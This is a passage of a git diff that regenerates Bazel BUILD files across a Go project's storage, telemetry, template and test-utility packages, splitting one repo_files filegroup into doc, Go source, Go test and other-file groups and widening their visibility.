), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -95,7 +134,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 7b4b8f2e0..d2c13e895 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -68,12 +68,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -82,7 +121,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 181e37e32..e4e9258db 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -422,12 +422,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -436,7 +475,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 4fa70405d..8a9136e0b 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -38,12 +38,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -52,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index d558c90a4..31715e16c 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -59,12 +59,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -73,7 +112,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel index 4ef61a465..48994986c 100644 --- a/internal/storage/fs/BUILD.bazel +++ b/internal/storage/fs/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel index 25e548a7b..5ede35634 100644 --- a/internal/storage/git/BUILD.bazel +++ b/internal/storage/git/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index af5f9fc2e..0838bce48 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -234,12 +234,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -248,7 +287,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel index d1178ba0e..0b829365e 100644 --- a/internal/storage/journalscan/BUILD.bazel +++ b/internal/storage/journalscan/BUILD.bazel @@ -29,12 +29,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel index ee4c8e5cd..0c82c0ad2 100644 --- a/internal/storage/kvkeys/BUILD.bazel +++ b/internal/storage/kvkeys/BUILD.bazel @@ -29,12 +29,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel index 9039a52f6..19b7f8a47 100644 --- a/internal/storage/memoryops/BUILD.bazel +++ b/internal/storage/memoryops/BUILD.bazel @@ -33,12 +33,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel index 90788b3c9..b0f65270f 100644 --- a/internal/storage/rowid/BUILD.bazel +++ b/internal/storage/rowid/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index 7d663e2e7..57e38358c 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -198,12 +198,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -212,7 +251,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel index 8f2ce0aa2..7ff089896 100644 --- a/internal/storage/sqlbuild/BUILD.bazel +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -56,12 +56,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -70,7 +109,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel index f169dff0d..3682f5ad7 100644 --- a/internal/storage/sqlclass/BUILD.bazel +++ b/internal/storage/sqlclass/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlcount/BUILD.bazel b/internal/storage/sqlcount/BUILD.bazel index eaa94c1b4..3abb00ede 100644 --- a/internal/storage/sqlcount/BUILD.bazel +++ b/internal/storage/sqlcount/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel index 416cedece..b8e628c32 100644 --- a/internal/storage/storagecontract/BUILD.bazel +++ b/internal/storage/storagecontract/BUILD.bazel @@ -24,12 +24,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/unsupportedgen/BUILD.bazel b/internal/storage/unsupportedgen/BUILD.bazel index 9732d963a..0a9b6c0d5 100644 --- a/internal/storage/unsupportedgen/BUILD.bazel +++ b/internal/storage/unsupportedgen/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index d98cfcc61..8b4abc0d4 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -250,12 +250,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -264,7 +303,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index 17fc465ad..84fcf6342 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -69,12 +69,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -83,7 +122,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index 380b9d29a..90792516b 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -87,12 +87,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -101,7 +140,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/templates/BUILD.bazel b/internal/templates/BUILD.bazel index 521b4505e..799491071 100644 --- a/internal/templates/BUILD.bazel +++ b/internal/templates/BUILD.bazel @@ -14,12 +14,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -28,7 +67,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/templates/agents/BUILD.bazel b/internal/templates/agents/BUILD.bazel index 4836ed286..c51ae9c90 100644 --- a/internal/templates/agents/BUILD.bazel +++ b/internal/templates/agents/BUILD.bazel @@ -28,12 +28,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -42,7 +81,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 5fef41c5a..03563cbde 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -154,15 +154,64 @@ sh_test( tags = ["dolt-server"], ) +# The pinned dolt sql-server image, read by //scripts:scripts_test (the CI +# pins agree) and //test/docsync (the docs' pin agrees). +exports_files( + ["testdoltcommon.go"], + visibility = [ + "//scripts:__pkg__", + "//test/docsync:__pkg__", + ], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility 